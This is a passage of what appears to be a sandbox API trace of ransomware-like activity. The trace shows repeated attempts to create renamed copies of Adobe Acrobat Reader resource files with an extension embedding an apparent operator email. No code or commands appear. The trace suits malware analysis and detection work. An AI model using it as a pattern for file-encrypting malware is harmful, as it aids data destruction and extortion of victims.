(lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.703] CloseHandle (hObject=0x1160) returned 1 [0281.043] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.043] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.043] CloseHandle (hObject=0x11a8) returned 1 [0281.305] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.305] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.305] CloseHandle (hObject=0x10c4) returned 1 [0281.306] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.306] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.307] CloseHandle (hObject=0x10c4) returned 1 [0281.308] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.308] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.308] CloseHandle (hObject=0x10c4) returned 1 [0281.309] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.309] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.309] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.309] CloseHandle (hObject=0x10c4) returned 1 [0282.026] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.026] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.026] CloseHandle (hObject=0x126c) returned 1 [0282.033] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.033] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.034] CloseHandle (hObject=0x126c) returned 1 [0282.034] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.035] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.035] CloseHandle (hObject=0x126c) returned 1 [0282.036] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.036] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.036] CloseHandle (hObject=0x126c) returned 1 [0282.038] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.038] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.038] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.038] CloseHandle (hObject=0x126c) returned 1 [0282.039] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.039] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.039] CloseHandle (hObject=0x126c) returned 1 [0282.040] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.040] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.040] CloseHandle (hObject=0x126c) returned 1 [0282.041] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.041] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.042] CloseHandle (hObject=0x126c) returned 1 [0282.042] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.043] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.043] CloseHandle (hObject=0x126c) returned 1 [0282.047] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.047] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.047] CloseHandle (hObject=0x126c) returned 1 [0282.048] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.048] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.048] CloseHandle (hObject=0x126c) returned 1 [0282.048] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.048] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.049] CloseHandle (hObject=0x126c) returned 1 [0282.049] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.049] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.050] CloseHandle (hObject=0x126c) returned 1 [0282.050] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.050] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.050] CloseHandle (hObject=0x126c) returned 1 [0282.051] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.051] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.051] CloseHandle (hObject=0x126c) returned 1 [0282.326] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.326] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.327] CloseHandle (hObject=0x126c) returned 1 [0282.328] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.328] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.328] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.328] CloseHandle (hObject=0x126c) returned 1 [0282.329] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.329] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.329] CloseHandle (hObject=0x126c) returned 1 [0282.331] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.331] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.331] CloseHandle (hObject=0x126c) returned 1 [0282.334] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.334] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.334] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.334] CloseHandle (hObject=0x126c) returned 1 [0282.335] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.335] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.335] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.335] CloseHandle (hObject=0x126c) returned 1 [0282.337] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.337] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.337] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.337] CloseHandle (hObject=0x126c) returned 1 [0282.338] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 